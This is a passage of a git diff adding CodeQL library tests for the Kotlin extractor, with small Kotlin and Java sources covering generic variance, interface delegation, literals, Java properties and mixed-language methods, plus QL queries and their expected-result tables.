+| test.kt:21:3:21:24 | p8 | file:///!unknown-binary-location/main/NestedInvariant.class:0:0:0:0 | NestedInvariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<?>> |
+| test.kt:22:3:22:29 | p9 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:22:3:22:29 | p9 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? extends String>> |
+| test.kt:23:3:23:34 | p10 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:23:3:23:34 | p10 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? extends String>> |
+| test.kt:24:3:24:33 | p11 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:24:3:24:33 | p11 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<?>> |
+| test.kt:25:3:25:25 | p12 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:25:3:25:25 | p12 | file:///!unknown-binary-location/main/NestedCovariant.class:0:0:0:0 | NestedCovariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<?>> |
+| test.kt:26:3:26:34 | p13 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:26:3:26:34 | p13 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? super String>> |
+| test.kt:27:3:27:38 | p14 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:27:3:27:38 | p14 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<?>> |
+| test.kt:28:3:28:37 | p15 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:28:3:28:37 | p15 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? super String>> |
+| test.kt:29:3:29:29 | p16 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:29:3:29:29 | p16 | file:///!unknown-binary-location/main/NestedContravariant.class:0:0:0:0 | NestedContravariant<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<?>> |
+| test.kt:30:3:30:28 | p17 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | NestedInvariant<String> |
+| test.kt:30:3:30:28 | p17 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:30:3:30:28 | p17 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<String>> |
+| test.kt:31:3:31:31 | p18 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | NestedInvariant<? super String> |
+| test.kt:31:3:31:31 | p18 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:31:3:31:31 | p18 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<? super String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? super String>> |
+| test.kt:32:3:32:32 | p19 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | NestedInvariant<? extends String> |
+| test.kt:32:3:32:32 | p19 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:32:3:32:32 | p19 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<? extends String> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<? extends String>> |
+| test.kt:33:3:33:23 | p20 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | NestedInvariant<?> |
+| test.kt:33:3:33:23 | p20 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | Object |
+| test.kt:33:3:33:23 | p20 | file:///!unknown-binary-location/main/DoubleInherit.class:0:0:0:0 | DoubleInherit<?> | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass | SimpleInvariant<SimpleInvariant<?>> |
diff --git a/java/ql/test/kotlin/library-tests/inheritence-substitution/test.kt b/java/ql/test/kotlin/library-tests/inheritence-substitution/test.kt
new file mode 100644
index 00000000000..c93c507ad2e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inheritence-substitution/test.kt
@@ -0,0 +1,36 @@
+package main
+
+open class SimpleInvariant<E1> { }
+
+open class NestedInvariant<E2> : SimpleInvariant<SimpleInvariant<E2>>() { }
+
+class NestedCovariant<E3> : SimpleInvariant<SimpleInvariant<out E3>>() { }
+
+class NestedContravariant<E4> : SimpleInvariant<SimpleInvariant<in E4>>() { }
+
+class DoubleInherit<E5> : NestedInvariant<E5>() { }
+
+fun user(
+  p1: SimpleInvariant<String>,
+  p2: SimpleInvariant<out String>,
+  p3: SimpleInvariant<in String>,
+  p4: SimpleInvariant<*>,
+  p5: NestedInvariant<String>,
+  p6: NestedInvariant<out String>,
+  p7: NestedInvariant<in String>,
+  p8: NestedInvariant<*>,
+  p9: NestedCovariant<String>,
+  p10: NestedCovariant<out String>,
+  p11: NestedCovariant<in String>,
+  p12: NestedCovariant<*>,
+  p13: NestedContravariant<String>,
+  p14: NestedContravariant<out String>,
+  p15: NestedContravariant<in String>,
+  p16: NestedContravariant<*>,
+  p17: DoubleInherit<String>,
+  p18: DoubleInherit<in String>,
+  p19: DoubleInherit<out String>,
+  p20: DoubleInherit<*>
+) {
+
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/inheritence-substitution/test.ql b/java/ql/test/kotlin/library-tests/inheritence-substitution/test.ql
new file mode 100644
index 00000000000..f006237009b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/inheritence-substitution/test.ql
@@ -0,0 +1,17 @@
+import java
+
+RefType getADatabaseSubtype(RefType rt) {
+  extendsReftype(rt, result)
+  or
+  implInterface(rt, result)
+}
+
+from Parameter p, RefType paramType, KotlinType paramKtType, string paramAncestorType
+where
+  p.fromSource() and
+  p.getCallable().getName() = "user" and
+  p.getType() = paramType and
+  p.getKotlinType() = paramKtType and
+  // Stringified to avoid printing the source-location (i.e. stdlib path) of `Any?`
+  getADatabaseSubtype+(paramType).toString() = paramAncestorType
+select p, paramType, paramKtType, paramAncestorType
diff --git a/java/ql/test/kotlin/library-tests/instances/TestClassA.kt b/java/ql/test/kotlin/library-tests/instances/TestClassA.kt
new file mode 100644
index 00000000000..591f9c3658e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/instances/TestClassA.kt
@@ -0,0 +1,4 @@
+
+class TestClassA<T> {
+}
+
diff --git a/java/ql/test/kotlin/library-tests/instances/TestClassAUser.kt b/java/ql/test/kotlin/library-tests/instances/TestClassAUser.kt
new file mode 100644
index 00000000000..6a9d8fecc2e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/instances/TestClassAUser.kt
@@ -0,0 +1,16 @@
+
+/*
+A fairly long comment.
+A fairly long comment.
+A fairly long comment.
+A fairly long comment.
+A fairly long comment.
+A fairly long comment.
+A fairly long comment.
+*/
+
+fun foo(x: TestClassA<TestClassAUser>) {
+}
+
+class TestClassAUser { }
+
diff --git a/java/ql/test/kotlin/library-tests/instances/classes.expected b/java/ql/test/kotlin/library-tests/instances/classes.expected
new file mode 100644
index 00000000000..771d4f32431
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/instances/classes.expected
@@ -0,0 +1,4 @@
+| TestClassA.kt:2:1:3:1 | TestClassA |
+| TestClassAUser.kt:0:0:0:0 | TestClassAUserKt |
+| TestClassAUser.kt:15:1:15:24 | TestClassAUser |
+| file:///!unknown-binary-location/TestClassA.class:0:0:0:0 | TestClassA<TestClassAUser> |
diff --git a/java/ql/test/kotlin/library-tests/instances/classes.ql b/java/ql/test/kotlin/library-tests/instances/classes.ql
new file mode 100644
index 00000000000..2c0dd99626a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/instances/classes.ql
@@ -0,0 +1,5 @@
+import java
+
+from Class c
+where c.getName().matches("TestClass%")
+select c
diff --git a/java/ql/test/kotlin/library-tests/interface-delegate/intfDelegate.kt b/java/ql/test/kotlin/library-tests/interface-delegate/intfDelegate.kt
new file mode 100644
index 00000000000..aa8351e976f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/interface-delegate/intfDelegate.kt
@@ -0,0 +1,10 @@
+interface Intf {
+
+  fun f(i: Int)
+
+}
+
+class Concrete : Intf by object : Intf {
+  override fun f(i: Int) { }
+} {
+}
diff --git a/java/ql/test/kotlin/library-tests/interface-delegate/test.expected b/java/ql/test/kotlin/library-tests/interface-delegate/test.expected
new file mode 100644
index 00000000000..f1c9f054e08
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/interface-delegate/test.expected
@@ -0,0 +1,8 @@
+fields
+| intfDelegate.kt:7:26:9:1 | $$delegate_0 | intfDelegate.kt:7:26:9:1 | <Stmt> |
+#select
+| intfDelegate.kt:0:0:0:0 | f | intfDelegate.kt:7:1:10:1 | Concrete |
+| intfDelegate.kt:3:3:3:15 | f | intfDelegate.kt:1:1:5:1 | Intf |
+| intfDelegate.kt:7:1:10:1 | Concrete | intfDelegate.kt:7:1:10:1 | Concrete |
+| intfDelegate.kt:7:26:9:1 |  | intfDelegate.kt:7:26:9:1 | new Intf(...) { ... } |
+| intfDelegate.kt:8:12:8:28 | f | intfDelegate.kt:7:26:9:1 | new Intf(...) { ... } |
diff --git a/java/ql/test/kotlin/library-tests/interface-delegate/test.ql b/java/ql/test/kotlin/library-tests/interface-delegate/test.ql
new file mode 100644
index 00000000000..8bd80cfc4ba
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/interface-delegate/test.ql
@@ -0,0 +1,7 @@
+import java
+
+query predicate fields(Field f, Expr init) { f.getInitializer() = init }
+
+from Callable c
+where c.fromSource()
+select c, c.getDeclaringType()
diff --git a/java/ql/test/kotlin/library-tests/java-map-methods/test.expected b/java/ql/test/kotlin/library-tests/java-map-methods/test.expected
new file mode 100644
index 00000000000..0a646e52fe1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java-map-methods/test.expected
@@ -0,0 +1,2 @@
+| Integer |
+| Object |
diff --git a/java/ql/test/kotlin/library-tests/java-map-methods/test.kt b/java/ql/test/kotlin/library-tests/java-map-methods/test.kt
new file mode 100644
index 00000000000..9a40d3c29bf
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java-map-methods/test.kt
@@ -0,0 +1 @@
+fun test(m: Map<Int, Int>) = m.getOrDefault(1, 2)
diff --git a/java/ql/test/kotlin/library-tests/java-map-methods/test.ql b/java/ql/test/kotlin/library-tests/java-map-methods/test.ql
new file mode 100644
index 00000000000..2694f59162d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java-map-methods/test.ql
@@ -0,0 +1,4 @@
+import java
+
+from MethodAccess ma
+select ma.getCallee().getAParameter().getType().toString()
diff --git a/java/ql/test/kotlin/library-tests/java_and_kotlin/Java.java b/java/ql/test/kotlin/library-tests/java_and_kotlin/Java.java
new file mode 100644
index 00000000000..e4ae7eecf19
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_and_kotlin/Java.java
@@ -0,0 +1,5 @@
+public class Java {
+	void javaFun() {
+		new Kotlin().kotlinFun();
+	}
+}
diff --git a/java/ql/test/kotlin/library-tests/java_and_kotlin/Kotlin.kt b/java/ql/test/kotlin/library-tests/java_and_kotlin/Kotlin.kt
new file mode 100644
index 00000000000..b592ebf1c7d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_and_kotlin/Kotlin.kt
@@ -0,0 +1,5 @@
+public class Kotlin {
+	fun kotlinFun() {
+		// TODO: Java().javaFun();
+	}
+}
diff --git a/java/ql/test/kotlin/library-tests/java_and_kotlin/methodAccess.expected b/java/ql/test/kotlin/library-tests/java_and_kotlin/methodAccess.expected
new file mode 100644
index 00000000000..515457eb54e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_and_kotlin/methodAccess.expected
@@ -0,0 +1 @@
+| Java.java:3:3:3:26 | kotlinFun(...) | Kotlin.kt:2:2:4:2 | kotlinFun |
diff --git a/java/ql/test/kotlin/library-tests/java_and_kotlin/methodAccess.ql b/java/ql/test/kotlin/library-tests/java_and_kotlin/methodAccess.ql
new file mode 100644
index 00000000000..2162e802e20
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_and_kotlin/methodAccess.ql
@@ -0,0 +1,5 @@
+import java
+
+from MethodAccess ma, Method m
+where m = ma.getMethod()
+select ma, m
diff --git a/java/ql/test/kotlin/library-tests/java_properties/PrintAst.expected b/java/ql/test/kotlin/library-tests/java_properties/PrintAst.expected
new file mode 100644
index 00000000000..5f4047b86d0
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_properties/PrintAst.expected
@@ -0,0 +1,22 @@
+Prop.java:
+#    0| [CompilationUnit] Prop
+#    2|   1: [Class] Prop
+#    4|     2: [Method] getFoo
+#    4|       3: [TypeAccess] String
+#    4|       5: [BlockStmt] { ... }
+#    5|         0: [ReturnStmt] return ...
+#    5|           0: [StringLiteral] "foo"
+Use.kt:
+#    0| [CompilationUnit] Use
+#    0|   1: [Class] UseKt
+#    2|     1: [Method] use
+#    2|       3: [TypeAccess] String
+#-----|       4: (Parameters)
+#    2|         0: [Parameter] prop
+#    2|           0: [TypeAccess] Prop
+#    2|       5: [BlockStmt] { ... }
+#    3|         0: [ReturnStmt] return ...
+#    3|           0: [ImplicitNotNullExpr] <implicit not null>
+#    3|             0: [TypeAccess] String
+#    3|             1: [MethodAccess] getFoo(...)
+#    3|               -1: [VarAccess] prop
diff --git a/java/ql/test/kotlin/library-tests/java_properties/PrintAst.qlref b/java/ql/test/kotlin/library-tests/java_properties/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_properties/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/java_properties/Prop.java b/java/ql/test/kotlin/library-tests/java_properties/Prop.java
new file mode 100644
index 00000000000..fe18f8fccde
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_properties/Prop.java
@@ -0,0 +1,7 @@
+
+public class Prop {
+	// This will look like a property in Kotlin
+	String getFoo() {
+		return "foo";
+	}
+}
diff --git a/java/ql/test/kotlin/library-tests/java_properties/Use.kt b/java/ql/test/kotlin/library-tests/java_properties/Use.kt
new file mode 100644
index 00000000000..5c7a489de7c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/java_properties/Use.kt
@@ -0,0 +1,4 @@
+
+fun use(prop: Prop): String {
+    return prop.foo
+}
diff --git a/java/ql/test/kotlin/library-tests/literals/literals.expected b/java/ql/test/kotlin/library-tests/literals/literals.expected
new file mode 100644
index 00000000000..86d23aa0d05
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/literals/literals.expected
@@ -0,0 +1,29 @@
+| literals.kt:3:36:3:39 | true | BooleanLiteral |
+| literals.kt:4:36:4:40 | false | BooleanLiteral |
+| literals.kt:5:28:5:28 | 0 | IntegerLiteral |
+| literals.kt:6:28:6:30 | 123 | IntegerLiteral |
+| literals.kt:7:28:7:31 | -123 | IntegerLiteral |
+| literals.kt:8:28:8:31 | 15 | IntegerLiteral |
+| literals.kt:9:28:9:37 | 11 | IntegerLiteral |
+| literals.kt:10:28:10:36 | 1234567 | IntegerLiteral |
+| literals.kt:11:30:11:30 | 0 | LongLiteral |
+| literals.kt:12:30:12:32 | 123 | LongLiteral |
+| literals.kt:13:30:13:33 | -123 | LongLiteral |
+| literals.kt:14:30:14:31 | 0 | LongLiteral |
+| literals.kt:15:30:15:33 | 123 | LongLiteral |
+| literals.kt:16:30:16:34 | -123 | LongLiteral |
+| literals.kt:17:30:17:33 | 15 | LongLiteral |
+| literals.kt:18:30:18:39 | 11 | LongLiteral |
+| literals.kt:19:30:19:38 | 1234567 | LongLiteral |
+| literals.kt:20:32:20:35 | 0.0 | FloatLiteral |
+| literals.kt:21:32:21:37 | 123.4 | FloatLiteral |
+| literals.kt:22:32:22:38 | -123.4 | FloatLiteral |
+| literals.kt:23:34:23:36 | 0.0 | DoubleLiteral |
+| literals.kt:24:34:24:38 | 123.4 | DoubleLiteral |
+| literals.kt:25:34:25:39 | -123.4 | DoubleLiteral |
+| literals.kt:26:30:26:32 | c | CharacterLiteral |
+| literals.kt:27:30:27:33 | \n | CharacterLiteral |
+| literals.kt:28:34:28:35 |  | StringLiteral |
+| literals.kt:29:35:29:45 | Some string | StringLiteral |
+| literals.kt:30:35:30:46 | Some\nstring | StringLiteral |
+| literals.kt:31:30:31:33 | null | NullLiteral |
diff --git a/java/ql/test/kotlin/library-tests/literals/literals.kt b/java/ql/test/kotlin/library-tests/literals/literals.kt
new file mode 100644
index 00000000000..27af90aa928
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/literals/literals.kt
@@ -0,0 +1,33 @@
+
+fun literalFun() {
+    val booleanLiteral1: Boolean = true
+    val booleanLiteral2: Boolean = false
+    val intLiteral1: Int = 0
+    val intLiteral2: Int = 123
+    val intLiteral3: Int = -123
+    val intLiteral4: Int = 0x0F
+    val intLiteral5: Int = 0b00001011
+    val intLiteral6: Int = 1_234_567
+    val longLiteral1: Long = 0
+    val longLiteral2: Long = 123
+    val longLiteral3: Long = -123
+    val longLiteral4: Long = 0L
+    val longLiteral5: Long = 123L
+    val longLiteral6: Long = -123L
+    val longLiteral7: Long = 0x0F
+    val longLiteral8: Long = 0b00001011
+    val longLiteral9: Long = 1_234_567
+    val floatLiteral1: Float = 0.0f
+    val floatLiteral2: Float = 123.4f
+    val floatLiteral3: Float = -123.4f
+    val doubleLiteral1: Double = 0.0
+    val doubleLiteral2: Double = 123.4
+    val doubleLiteral3: Double = -123.4
+    val charLiteral1: Char = 'c'
+    val charLiteral2: Char = '\n'
+    val stringLiteral1: String = ""
+    val stringLiteral2: String = "Some string"
+    val stringLiteral3: String = "Some\nstring"
+    val nullLiteral1: Int? = null
+}
+
diff --git a/java/ql/test/kotlin/library-tests/literals/literals.ql b/java/ql/test/kotlin/library-tests/literals/literals.ql
new file mode 100644
index 00000000000..db19beff30b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/literals/literals.ql
@@ -0,0 +1,4 @@
+import java
+
+from Literal l
+select l, l.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/A.java b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/A.java
new file mode 100644
index 00000000000..b8df49db85c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/A.java
@@ -0,0 +1,5 @@
+package j;
+
+interface A<T> {
+    void foo(T t);
+}
diff --git a/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/B.java b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/B.java
new file mode 100644
index 00000000000..4958d94bb38
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/B.java
@@ -0,0 +1,5 @@
+package j;
+
+class B implements A<String> {
+    public void foo(String t) {}
+}
diff --git a/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/W.kt b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/W.kt
new file mode 100644
index 00000000000..e4e089da5fa
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/W.kt
@@ -0,0 +1,9 @@
+package k
+
+interface A<T> {
+    fun foo(t: T)
+}
+
+class B : A<String> {
+    override fun foo(t: String) {}
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/test.expected b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/test.expected
new file mode 100644
index 00000000000..dc6cb870289
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/test.expected
@@ -0,0 +1,6 @@
+| A.class:0:0:0:0 | foo | A<String>.foo | foo(java.lang.String) | A.java:4:10:4:12 | foo | A.foo |
+| A.java:4:10:4:12 | foo | A.foo | foo(java.lang.Object) | A.java:4:10:4:12 | foo | A.foo |
+| B.java:4:17:4:19 | foo | B.foo | foo(java.lang.String) | B.java:4:17:4:19 | foo | B.foo |
+| W.kt:4:5:4:17 | foo | A.foo | foo(java.lang.Object) | W.kt:4:5:4:17 | foo | A.foo |
+| W.kt:8:14:8:34 | foo | B.foo | foo(java.lang.String) | W.kt:8:14:8:34 | foo | B.foo |
+| file:///!unknown-binary-location/k/A.class:0:0:0:0 | foo | A<String>.foo | foo(java.lang.String) | W.kt:4:5:4:17 | foo | A.foo |
diff --git a/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/test.ql b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/test.ql
new file mode 100644
index 00000000000..ec2159d35de
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods-mixed-java-and-kotlin/test.ql
@@ -0,0 +1,6 @@
+import java
+
+from Method m
+where m.getName() = "foo"
+select m, m.getQualifiedName(), m.getSignature(), m.getSourceDeclaration(),
+  m.getSourceDeclaration().getQualifiedName()
diff --git a/java/ql/test/kotlin/library-tests/methods/clinit.expected b/java/ql/test/kotlin/library-tests/methods/clinit.expected
new file mode 100644
index 00000000000..8e4a65ab39a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/clinit.expected
@@ -0,0 +1 @@
+| clinit.kt:0:0:0:0 | <clinit> | file://:0:0:0:0 | void |
diff --git a/java/ql/test/kotlin/library-tests/methods/clinit.kt b/java/ql/test/kotlin/library-tests/methods/clinit.kt
new file mode 100644
index 00000000000..291dc7cad4b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/clinit.kt
@@ -0,0 +1,3 @@
+package foo.bar
+
+var topLevelInt: Int = 0
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/methods/clinit.ql b/java/ql/test/kotlin/library-tests/methods/clinit.ql
new file mode 100644
index 00000000000..11ea8515abb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/clinit.ql
@@ -0,0 +1,5 @@
+import java
+
+from Method m
+where m.getName() = "<clinit>"
+select m, m.getReturnType()
diff --git a/java/ql/test/kotlin/library-tests/methods/exprs.expected b/java/ql/test/kotlin/library-tests/methods/exprs.expected
new file mode 100644
index 00000000000..a08c7cda44e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/methods/exprs.expected
@@ -0,0 +1,86 @@
+| clinit.kt:3:1:3:24 | ...=... | AssignExpr |
+| clinit.kt:3:1:3:24 | ...=... | KtInitializerAssignExpr |
+| clinit.kt:3:1:3:24 | <set-?> | VarAccess |
+| clinit.kt:3:1:3:24 | ClinitKt | TypeAccess |
+| clinit.kt:3:1:3:24 | ClinitKt | TypeAccess |
+| clinit.kt:3:1:3:24 | ClinitKt | TypeAccess |
+| clinit.kt:3:1:3:24 | ClinitKt.topLevelInt | VarAccess |
+| clinit.kt:3:1:3:24 | ClinitKt.topLevelInt | VarAccess |
+| clinit.kt:3:1:3:24 | ClinitKt.topLevelInt | VarAccess |
+| clinit.kt:3:1:3:24 | Unit | TypeAccess |
+| clinit.kt:3:1:3:24 | int | TypeAccess |
+| clinit.kt:3:1:3:24 | int | TypeAccess |
+| clinit.kt:3:1:3:24 | int | TypeAccess |
+| clinit.kt:3:24:3:24 | 0 | IntegerLiteral |
+| methods2.kt:4:1:5:1 | Unit | TypeAccess |
+| methods2.kt:4:26:4:31 | int | TypeAccess |
+| methods2.kt:4:34:4:39 | int | TypeAccess |
+| methods2.kt:8:5:9:5 | Unit | TypeAccess |
+| methods2.kt:8:27:8:32 | int | TypeAccess |
+| methods2.kt:8:35:8:40 | int | TypeAccess |
+| methods3.kt:3:1:3:42 | Unit | TypeAccess |
+| methods3.kt:3:5:3:7 | int | TypeAccess |
+| methods3.kt:3:33:3:38 | int | TypeAccess |
+| methods3.kt:6:5:6:46 | Unit | TypeAccess |
+| methods3.kt:6:9:6:11 | int | TypeAccess |
+| methods3.kt:6:37:6:42 | int | TypeAccess |
+| methods4.kt:7:5:7:34 | Unit | TypeAccess |
+| methods4.kt:7:11:7:29 | InsideNestedTest | TypeAccess |
+| methods5.kt:3:1:11:1 | Unit | TypeAccess |
+| methods5.kt:4:3:4:11 | x | LocalVariableDeclExpr |
+| methods5.kt:4:11:4:11 | 5 | IntegerLiteral |
+| methods5.kt:5:3:5:27 | int | TypeAccess |
+| methods5.kt:5:13:5:18 | int | TypeAccess |
+| methods5.kt:5:23:5:23 | i | VarAccess |
+| methods5.kt:5:23:5:27 | ... + ... | AddExpr |
+| methods5.kt:5:27:5:27 | x | VarAccess |
+| methods5.kt:6:3:6:3 | x | VarAccess |
+| methods5.kt:6:3:6:7 | ...=... | AssignExpr |
+| methods5.kt:6:7:6:7 | 6 | IntegerLiteral |
+| methods5.kt:7:3:7:15 | <implicit coercion to unit> | ImplicitCoercionToUnitExpr |
+| methods5.kt:7:3:7:15 | Object | TypeAccess |
+| methods5.kt:7:3:7:15 | String | TypeAccess |
+| methods5.kt:7:3:7:15 | Unit | TypeAccess |
+| methods5.kt:7:3:7:15 | a(...) | MethodAccess |
+| methods5.kt:7:3:7:15 | new (...) | ClassInstanceExpr |
+| methods5.kt:7:13:7:14 | 42 | IntegerLiteral |
+| methods5.kt:8:3:8:3 | x | VarAccess |
+| methods5.kt:8:3:8:7 | ...=... | AssignExpr |
+| methods5.kt:8:7:8:7 | 7 | IntegerLiteral |
+| methods5.kt:9:3:9:32 | int | TypeAccess |
+| methods5.kt:9:12:9:17 | C1<T1> | TypeAccess |
+| methods5.kt:9:12:9:17 | T1 | TypeAccess |
+| methods5.kt:9:22:9:27 | int | TypeAccess |
+| methods5.kt:9:32:9:32 | 5 | IntegerLiteral |
+| methods5.kt:10:3:10:11 | C1<Integer> | TypeAccess |
+| methods5.kt:10:3:10:11 | Integer | TypeAccess |
+| methods5.kt:10:3:10:11 | new C1<Integer>(...) | ClassInstanceExpr |
+| methods5.kt:10:13:10:18 | <implicit coercion to unit> | ImplicitCoercionToUnitExpr |
+| methods5.kt:10:13:10:18 | Integer | TypeAccess |
+| methods5.kt:10:13:10:18 | Object | TypeAccess |
+| methods5.kt:10:13:10:18 | Unit | TypeAccess |
+| methods5.kt:10:13:10:18 | f1(...) | MethodAccess |
+| methods5.kt:10:13:10:18 | new (...) | ClassInstanceExpr |
+| methods5.kt:10:16:10:17 | 42 | IntegerLiteral |
+| methods.kt:2:1:3:1 | Unit | TypeAccess |
+| methods.kt:2:20:2:25 | int | TypeAccess |
+| methods.kt:2:28:2:33 | int | TypeAccess |
+| methods.kt:6:5:7:5 | Unit | TypeAccess |
+| methods.kt:6:21:6:26 | int | TypeAccess |
+| methods.kt:6:29:6:34 | int | TypeAccess |
+| methods.kt:9:5:12:5 | Unit | TypeAccess |
+| methods.kt:9:28:9:33 | int | TypeAccess |
+| methods.kt:9:36:9:41 | int | TypeAccess |
+| methods.kt:10:9:10:25 | classMethod(...) | MethodAccess |
+| methods.kt:10:9:10:25 | this | ThisAccess |
+| methods.kt:10:21:10:21 | a | VarAccess |
+| methods.kt:10:24:10:24 | 3 | IntegerLiteral |
+| methods.kt:11:9:11:28 | MethodsKt | TypeAccess |
